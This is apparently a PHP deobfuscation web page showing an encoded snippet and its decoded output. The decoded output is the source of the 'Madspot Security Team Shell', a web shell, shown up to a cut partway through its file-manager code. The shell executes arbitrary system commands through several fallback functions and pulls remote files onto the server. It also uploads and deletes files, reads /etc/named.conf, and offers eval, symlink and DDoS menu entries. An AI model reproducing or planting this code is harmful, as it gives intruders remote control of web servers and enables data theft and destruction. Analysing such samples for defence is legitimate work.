Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); $OOO000..

Decoded Output download

?><?php

/**
 * @author Ikram ALI
 * @copyright 2012
 */
@define('VERSION','1.0');
@error_reporting(E_ALL ^ E_NOTICE);
@session_start();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);

if(get_magic_quotes_gpc()) {
	function madstripslashes($array) {
		return is_array($array) ? array_map('madstripslashes', $array) : stripslashes($array);
	}
	$_POST = madstripslashes($_POST);
}
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (strtolower(substr(PHP_OS,0,3))=="win")
    $sys='win';
 else
    $sys='unix';
    
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);   
    
$cwd = @getcwd();
if($sys == 'win') 
{
    $home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}

if($cwd[strlen($cwd)-1] != '/' )
	$cwd .= '/';
    
    
function madEx($in) {
	$out = '';
	if (function_exists('exec')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}
$down=@getcwd();
if($sys=="win")
$down.='\';
else
$down.='/';
if(isset($_POST['rtdown']))
{
$url = $_POST['rtdown'];
$newfname = $down. basename($url);
$file = fopen ($url, "rb");
if ($file) {
  $newf = fopen ($newfname, "wb");
  if ($newf)
  while(!feof($file)) {
    fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
  }
  }

if ($file) {
  fclose($file);
}
if ($newf) {
  fclose($newf);
}
}

    
 
 function madhead()
 {
    if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
 
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;        
    
$on="<font color=#0F0> ON </font>";
$of="<font color=red> OFF </font>";
$none="<font color=#0F0> NONE </font>";   
if(function_exists('curl_version'))
    $curl=$on;
else
    $curl=$of;
if(function_exists('mysql_get_client_info'))
    $mysql=$on;
 else
    $mysql=$of;      
if(function_exists('mssql_connect'))
    $mssql=$on;
else
   $mssql=$of; 
		
if(function_exists('pg_connect'))
    $pg=$on;
else
   $pg=$of;    		
if(function_exists('oci_connect'))
   $or=$on;
else
   $or=$of;
if(@ini_get('disable_functions'))
  $disfun=@ini_get('disable_functions');
else
$disfun="All Functions Enable";
if(@ini_get('safe_mode'))
$safe_modes="<font color=red>ON</font>";
else
$safe_modes="<font color=#0F0 >OFF</font>";
if(@ini_get('open_basedir'))
$open_b=@ini_get('open_basedir');
    else
  $open_b=$none;
    

if(@ini_get('safe_mode_exec_dir'))
$safe_exe=@ini_get('safe_mode_exec_dir');
    else
$safe_exe=$none;
if(@ini_get('safe_mode_include_dir'))
   $safe_include=@ini_get('safe_mode_include_dir'); 
else
 $safe_include=$none;
if(!function_exists('posix_getegid')) 
{
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
} else 
{
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}


     $cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a  href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}

$drives = "";
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';





 echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="http://www.madspot.net/favicon.ico" rel="icon" type="image/x-icon"/>
<title>Madspot Security Team Shell</title>
<style type="text/css">
<!--
.whole {
	background-color: #CCC;
	height:auto;
	width: auto;
	margin-top: 10px;
	margin-right: 10px;
	margin-left: 10px;
}
.header {
	height: auto;
	width: auto;
	border: 7px solid #CCC;
	color: #999;
	font-size: 12px;
	font-family: Verdana, Geneva, sans-serif;
	background-color: #000;
}
.header a {color:#0F0; text-decoration:none;}
span {
	font-weight: bolder;
	color: #FFF;
}
#meunlist {
	font-family: Verdana, Geneva, sans-serif;
	color: #FFF;
	background-color: #000;
	width: auto;
	border-right-width: 7px;
	border-left-width: 7px;
	border-top-style: solid;
	border-right-style: solid;
	border-bottom-style: solid;
	border-left-style: solid;
	border-top-color: #CCC;
	border-right-color: #CCC;
	border-bottom-color: #CCC;
	border-left-color: #CCC;
	height: auto;
	font-size: 12px;
	font-weight: bold;
	border-top-width: 0px;
}
  .whole #meunlist ul {
	padding-top: 5px;
	padding-right: 5px;
	padding-bottom: 7px;
	padding-left: 2px;
	text-align:center;
	list-style-type: none;
	margin: 0px;
}
  .whole #meunlist li {
	margin: 0px;
	padding: 0px;
	display: inline;
}
  .whole #meunlist a {
    font-family: arial, sans-serif;
	font-size: 14px;
	text-decoration:none;
	font-weight: bold;
	color: #fff;
	clear: both;
	width: 100px;
	margin-right: -6px;
	padding-top: 3px;
	padding-right: 15px;
	padding-bottom: 3px;
	padding-left: 15px;
	border-right-width: 1px;
	border-right-style: solid;
	border-right-color: #FFF;
}
  .whole #meunlist a:hover {
	color: #000;
	background: #fff;
}

.foot {
	font-family: Verdana, Geneva, sans-serif;
	background-color: #000;
	margin: 0px;
	padding: 0px;
	width: 100%;
	text-align: center;
	font-size: 12px;
	color: #CCC;
	border-right-width: 7px;
	border-left-width: 7px;
    border-bottom-width: 7px;
    border-bottom-style: solid;
    border-right-style: solid;
    border-right-style: solid;
	border-left-style: solid;
	border-top-color: #CCC;
	border-right-color: #CCC;
	border-bottom-color: #CCC;
	border-left-color: #CCC;
}';
if(is_writable($GLOBALS['cwd']))
 {
    echo ".foottable {
    width: 300px;
    font-weight: bold;
    }";}
    else
    {
       echo ".foottable {
    width: 300px;
    font-weight: bold;
    background-color:red;
    }
    .dir {
      background-color:red;  
    }
    "; 
    }    
 echo '.main th{text-align:left;}
 .main a{color: #FFF;}
 .main tr:hover{background-color:red;}
 .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
 .bigarea{ width:99%; height:300px; }   
  </style>

';

echo "<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}</script>";

    
	echo '
</head>

<body bgcolor="#000000"  leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div class="whole">
<form method=post name=mf style="display:none;">
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>
  <div class="header"><table width="100%" border="0"  align="lift">
  <tr>
    <td width="3%"><span>Uname:</span></td>
    <td colspan="2">'.substr(@php_uname(), 0, 120).'</td>
    </tr>
  <tr>
    <td><span>User:</span></td>
    <td>'. $uid . ' [ ' . $user . ' ] <span>   Group: </span>' . $gid . ' [ ' . $group . ' ] </td>
    <td width="14%" rowspan="8"><img alt="" src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEABEMDQ8NCxEPDg8TEhEVGiscGhgYGjUmKB8rPzdCQT43PDtFTmNURUleSzs8VnZXXmdqb3BvQ1N6g3lsgmNtb2sBEhMTGhcaMxwcM2tHPEdra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra//AABEIAI8AjwMBEQACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5+gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/AOOtLJrkFt21RWc6nKZVKigWv7I/6bfpWbr+Rh9aXYP7IH/Pb9KXt/If1lN7FmPw4zoGM4GexFZyxiXQtVvIjbw5cj7ssZ/MVSxcC/aozLq1ltJfLmXDV0wmpK6LjJPYYEAHznFUUG2P+8fyoAAsf94/lQBILbPQmgBGtZAMgZFAEBGDQBej0yWSMPuUZ5waydWKZjKvGLHf2TN/fSl7ZGf1qIDSZj0Zcmk68UNYmLZYHh27IzujH41DxcDT2qA+HbsAkNGfoaaxUGHtUZc8LwSGOQYYV0RkpK6NE7q5s6YALJCO5Oa5K3xHn4l+/Yt1kcw5OWUe9J7DjubHSuKWrOxJBUj9TG8RIn2dXKguCAD+Nehgm9Ua0jmZD+8b616JuMoAkh/1q0AXl60ATLQBQuwEujgdulAG7GMRIPYV58tWeTVfvMdSMyezANwuRWc72Lp7mnXIdYUkI5TxJ/yEB/uCvZw38NHTS+Esad/x5R/j/Osqvxs4cT8ZZrM5hyffX6ilL4So7mxXC9zsQUDMbxGR9njHqwr0MH1NaRzMn+sb616BuMoAkg/1q0AXkoAmWgCjff8AHz+AoA3Iv9Un+6K4JbnkVPiY6pMyxZf8fC/Q1nU2NaW5pVxnUFMDlfEv/IQX/cr18L/DOin8JPp3/HlH+P8AOs6vxs4cT8ZZrM5hyffX6ilL4So7mxXC9zsQUhmH4k+7CfevRwXU1pHOS/6xvrXoG4ygCSD/AFq0AXloAmWgCjff8fX4CgDbh5gj/wB0fyrglueRV+Jj6kzLFl/x8L9DWdTY1pbmlXGdQUwOV8S/8hBf9yvXwv8ADOin8JNpp/0JPx/nUVvjOHE/GWqyOYcn31+tTLYqO5sVxS3OxBS8gMTxH/qov94V6OD0ubUjm5f9Y31r0DcZQBJB/rVoAvLQBMtAFG+/4+vwFAG3B/qIv9wfyrgn8R5NX42PqbmRYsv+PgfQ1nU2NKe5pVxnWFMGcr4l/wCQgv8AuV6+F/hnRS+Egsr9bePy3UkDpirqU+Z3Iq0efUtjVLcjncD9Ky9jI5/qrvuH9p23q/5UewkP6q0y2niG3VAGVmI74xWLwkmaqk0B8SQdoXz9aPqT7j9kzJ1HUmvplYjai9BXXRoqmrGsI8pXkgLEspBB5zmtixnkP7fnQAqwurA8cUAWlYDqDQBIsi+hJFAFK6fM24/e747UAaFpqEIhVZGKlQB0rnnSu9Dkq4fmd0T/ANoW3/PT9Kz9jIy+rSHJqdujhll5HtSdCTQ44eSZcGvWmOSc+1YfVJGypyEfX7RUJXJPpTWDl1GqTuc7qN4b25MpGBjAFehThyRsbRVkT6baJNuklG5RwFzU1KjjojKtV5EXhYWo/wCWQ/OsPazOX6zIX7Ba/wDPIfmaPazD6zItwaJaPGHdMZ7A1hLFTTNlVkyT+wrL+4fzqfrcynUZlazpsVnGHjGATxXZQrOotTSnPmI7OxjaNXkUnIzTqVWtEZVa7i7ItfYbb/nl+prP2szD6zMBp9sTgRc/U0nWmkNYiTLy6FZ7RuU574NYvFTNlVkL/YVlj7rfnU/W5j9qzA1O0S1vBCowOPoa9ClPnhc2hLmVypLsDkKuBmtSxmR/doAVQGYALyaALK2yHrnNADzZIR8pOaAKUiGNyrdRQBr6R/x7t/vVy1/iOHF7ov1gcQGkxrc2I/8AVr9K4pbnZHYdUjMXxN/x5x/71d+C3ZrS3IrT/j1i/wB0VpP4mcVf42S1G5iSW/8Ar4/rUS2Lhua1cTOxbBRoLc5vxIP9LhNerg/gOilsYkn32+tdhqMoAlt/9Z+FAF1KAJloAoX/APx8H6CgDQ0j/j3b61y1/iOHFbov1gcQHpSY47mxH/q1+griludkdh1SUYvib/j0j/3q7sF8TNaW5Fa/8esX+6K1n8TOGv8AGS1BiSW/+vj+tTP4S4bmtXCdgUwOd8SY+0Qetepg/gZvS2MKT/WN9a7TUZSAlt/9Z+FAF1KAJloAo6gf3+PYUAaOlDFmD6k1yVviODFbou1icYdqTHHc2I/9Wv0riludsdh1IZi+Jv8Aj0j/AN6u3BfEzSluRWv/AB6xf7orWfxM4q/xktQYklv/AK+P61M/hLhua1cJ2BTA5zxJ/wAfMFepg/gZvS2MOT/WH612moykBLb/AOs/CgC6tAEy0AUL/wD4+PwFAGjpLg2xTup5rlrp3ucOKWqZerA4w7UnsC3NeLmJSPSuKe52R2H1JRi+Jv8Aj0jHfdXfgr3ZpS3IrT/j1i/3RWlT4mcVf42S1BiSW/EyE9M1Er8pcPiNauN6HWFIbOd8SD/SYT+Ferg17upvS2MKX/WN9a7DUZQBJAf3goAvLQBMtAFC/Obgj0AoAS0uWtpNyjcCMEVMoKSsROCmrMttq0naICsvYox+rRBdWk/ijU0ewiL6tEsx+IHiXasRx7ms3hIspUEuo/8A4SST/niKX1SPcr2SM/UNRe9PK4+prenTUFoaRikOtr6WJFXydwAwO2acqaZE6MZak/8AaT/8+x/Os/YLuZfVoiHVcHBgIP1o9ggWGSLC6/cAACDIHrWf1SLLVFDjr85Uj7Pg44NCwkd7j9kjJvLuW4lBcEAHIBrphBRVkaqKSA+XIN2xwSOgHFWMZ5Sf3X/KgBfLQdFf8qAJRIR2b/vmgBTcMqnAYf8AAaAKLsXYsepoABxzQAu9vWgBQzEgZoAuIigAEZPvQBKsaH+AUAQz26CRMcZI/nQBFcyN5rAHABwBQBB5jf3jQA5WdmA3HmgC4ijoRmgCVUQ9VoAjnQCIqRnaQVJ9D2oAqSyNvIz09KAI/Mb+8aAHxlncDcaALaovpQBKI0PBUc0AZ9zH5UzL27UAR9qAEoAdH99frQBfWgCZaAGXH+si+o/nQBQuf9e/1NAEVAD4f9Yv1oAvLQBMlADLn7j/APAf50AZsn+sP1oAbQBLb/6z8KALq0ASrQBR1D/j4z7CgCuaAEoAcn31+tAF9etAEy0AMuPvxfUfzoAoXP8Ar3+poAioAfD/AK1aALy0ATLQAy4+4/8AwH+dAGbJ99vrQA2gCWD/AFn4UAXVoAmWgCjqH+v/AAoArGgBKAHJ99frQBfWgCZaAGXH34vqP50AULn/AF7/AFNAEVAD4f8AWrQBfWgCVaAGXH3H/wCA/wA6AM2T77fWgBtAEsH+s/CgC6tAEy0AUdQP7/HsKAK3agBKAFU4YGgC+nIyOlAE6igCK5dVdMkfKRn86AKVxhpWYdCc5oAioAfGdrqaAL6e1AEqdaAI7gjy3O4DlR160AZ8oxIfrQAygCSEhZAT0oAvLQBKOBk8UAZ124knYr06UAQ0AGaAFBIoAcJXHRsUAL58v980AMZixyxzQAquV6UAO80/3V/KgA80/wB1fyoAUXDjpgUAL9pk9aAI3cucmgBwmYAAgHHqKADzT/dX8qADzT/dX8qAF+0P2wKAGtK7DBY4oAZQB//Z" /></td>
  </tr>
  <tr>
    <td><span>PHP:</span></td>
    <td>'.@phpversion(). '   <span>   Safe Mode:'.$safe_modes.'</span></td>
    </tr>
  <tr>
    <td><span>Our IP:</span></td>
    <td>'.@$_SERVER["SERVER_ADDR"].'    <span>Server IP:</span> '.@$_SERVER["REMOTE_ADDR"].'</td>
  </tr>
  <tr>
    <td><span>WEBS:</span></td>
    <td width="76%">';
    
    if($GLOBALS['sys']=='unix')
    {
        $d0mains = @file("/etc/named.conf");
        if(!$d0mains)
        {
            echo "CANT READ named.conf";
        }
        else
        {
          $count;  
         foreach($d0mains as $d0main)
         {
          if(@ereg("zone",$d0main))
          {
          preg_match_all('#zone "(.*)"#', $d0main, $domains);
           flush();
          if(strlen(trim($domains[1][0])) > 2){
         flush();
         $count++;
           } 
           }
           }
           echo "$count  Domains";
        }
    }
    else{ echo"CANT READ |Windows|";}
    
      echo '</td>
    </tr>
    <tr>
    <td height="16"><span>HDD:</span></td>
    <td>'.madSize($totalSpace).' <span>Free:</span>' . madSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</td>
    </tr>';
  
     if($GLOBALS['sys']=='unix' )
{
    if(!@ini_get('safe_mode'))
    {
    
    echo '<tr><td height="18" colspan="2"><span>Useful : </span>';
    $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
     foreach($userful as $item)
         if(madWhich($item))
         echo $item.',';
         echo '</td>
         </tr>
          <tr>
          <td height="0" colspan="2"><span>Downloader:</span>';
         
     $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
      foreach($downloaders as $item2)
       if(madWhich($item2))
        echo $item2.',';
        echo '</td>
              </tr>';
         
          }
           else 
           {
         echo '<tr><td height="18" colspan="2"><span>useful:</span>'; 
         echo '--------------</td>
           </tr><td height="0" colspan="2"><span>Downloader: </span>-------------</td>
              </tr>';  
         }
}
else
{
   echo '<tr><td height="18" colspan="2"><span>Window:</span>';
   echo madEx('ver');
   echo '</td>
         </tr> <tr>
        <td height="0" colspan="2"><span>Downloader: </span>-------------</td>
              </tr>'; 
    
}  
    
 
 echo '<tr>
    <td height="16" colspan="2"><span>Disabled functions:</span>'.$disfun.'</td>
  </tr>
  <tr>
    <td height="16" colspan="2"><span>cURL:'.$curl.'  MySQL:'.$mysql.'  MSSQL:'.$mssql.'  PostgreSQL:'.$pg.'  Oracle: </span>'.$or.'</td><td width="15%">'.base64_decode("PGEgaHJlZj0iaHR0cDovL3d3dy5tYWRzcG90Lm5ldCIgdGFyZ2V0PSJfYmxhbmsiPjxzcGFuPjxmb250IGNvbG9yPSIjMEYwIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtNQURTUE9ULk5FVDwvZm9udD48L3NwYW4+PC9hPg==").'</td>
  </tr>
  <tr>
  <td height="11" colspan="3"><span>Open_basedir:'.$open_b.' Safe_mode_exec_dir:'.$safe_exe.'   Safe_mode_include_dir:'.$safe_include.'</td>
  </tr>
  <tr>
    <td height="11"><span>Server </span></td>
    <td colspan="2">'.@getenv('SERVER_SOFTWARE').'</td>
  </tr>';
  if($GLOBALS[sys]=="win")
  {
    echo '<tr>
    <td height="12"><span>DRIVE:</span></td>
    <td colspan="2">'.$drives.'</td>
     </tr>';
  }
  
  echo '<tr>
    <td height="12"><span>PWD:</span></td>
    <td colspan="2">'.$cwd_links.'  <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><font color=red >|CURRENT|</font></a></td>
  </tr>
  </table>
</div>
 <div id="meunlist">
      <ul>
<li><a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">HOME</a></li>

<li><a href="#" onclick="g(\'proc\',null,\'\',\'\',\'\')">PROCESS</a></li>
<li><a href="#" onclick="g(\'phpeval\',null,\'\',\'\',\'\')">EVAL</a></li>
<li><a href="#" onclick="g(\'sql\',null,\'\',\'\',\'\')">SQL</a></li>
<li><a href="#" onclick="g(\'hash\',null,\'\',\'\',\'\')">HASH</a></li>
<li><a href="#" onclick="g(\'connect\',null,\'\',\'\',\'\')">CONNECT</a></li>
<li><a href="#" onclick="g(\'zoneh\',null,\'\',\'\',\'\')">ZONE-H</a></li>
<li><a href="#" onclick="g(\'dos\',null,\'\',\'\',\'\')">DDOS</a></li>
<li><a href="#" onclick="g(\'safe\',null,\'\',\'\',\'\')">SAFE MODE</a></li>
<li><a href="#" onclick="g(\'symlink\',null,\'\',\'\',\'\')">SYMLINK</a></li>
<li><a href="#" onclick="g(\'spot\',null,\'\',\'\',\'\')">MADSPOT</a></li>
<li><a href="#" onclick="g(\'selfrm\',null,\'\',\'\',\'\')">KIll C0de</a></li>
</ul>
    
    </div>
';   
    
}

function madfooter()
{
    
    echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >
       <tr>
         <td width='17%'><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>__MK FILE__</span><br><input class='dir'  type=text name=f value=''><input type=submit value='>>'></form></td>
         <td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>__MK DIR__</span><br><input class='dir' type=text name=d value=''><input type=submit value='>>'></form></td>
         <td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);return false;\"><span>__DELETE__</span><br><input class='dir' type=text name=del value=''><input type=submit value='>>'></form></td>
         <td width='19%'><form onsubmit=\"g('FilesTools',null,this.f.value,'chmod');return false;\"><span>__CHMOD__</span><br><input class='dir' type=text name=f value=''><input type=submit value='>>'></form></td>
       </tr>
       <tr>
         <td colspan='2'><form onsubmit='g(null,this.c.value,\"\");return false;'><span>__CHANGE DIR__</span><br><input class='foottable' type=text name=c value='".htmlspecialchars($GLOBALS['cwd'])."'><input type=submit value='>>'></form></td>
         <td colspan='2'><form method='post' ><span>__HTTP DOWNLOAD__</span><br><input class='foottable' type=text name=rtdown value=''><input type=submit value='>>'></form></td>
        </tr>
       <tr>
         <td colspan='4'><form onsubmit=\"g('proc',null,this.c.value);return false;\"><span>__EXECUTE__</span><br><input class='foottable' type=text name=c value=''><input type=submit value='>>'></form></td>
        </tr>
       <tr>
         <td colspan='4'><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMAn'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
        <span>Upload file:</span><br><input class='toolsInp' type=file name=f><br /><input type=submit value='>>'></form></td>
        </tr> 
      </table>
  </div>
  </body>
</html>
";
    
}
if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
   function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
  function posix_getgrgid($p) {return false;} }

function madWhich($p) {
	$path = madEx('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}



function madSize($s) {
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}


function madPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}
function madPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000>' . madPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . madPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . madPerms(@fileperms($f)) . '</font>';
}

if(!function_exists("scandir")) {
	function scandir($dir) {
		$dh  = opendir($dir);
		while (false !== ($filename = readdir($dh)))
    		$files[] = $filename;
		return $files;
	}
}


function madFilesMan() {
	madhead();
    echo '<div class=header><script>p1_=p2_=p3_="";</script>';
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
					echo "Can't upload file!";
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_dir(@$_POST['p2']))
				deleteDir(@$_POST['p2']);
				else
				@unlink(@$_POST['p2']);
				break;
		default:
                if(!empty($_POST['p1'])) {
					$_SESSION['act'] = @$_POST['p1'];
					$_SESSION['f'] = @$_POST['f'];
					foreach($_SESSION['f'] as $k => $f)
						$_SESSION['f'][$k] = urldecode($f);
					$_SESSION['c'] = @$_POST['c'];
				}
				break;
		}
	}
	$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo '<h3><span>|  Access Denied! |</span></h3></div>';madFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "
<table width='100%' class='main' cellspacing='0' cellpadding='2'  >
<form name=files method=post><tr><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => madPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function wsoCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
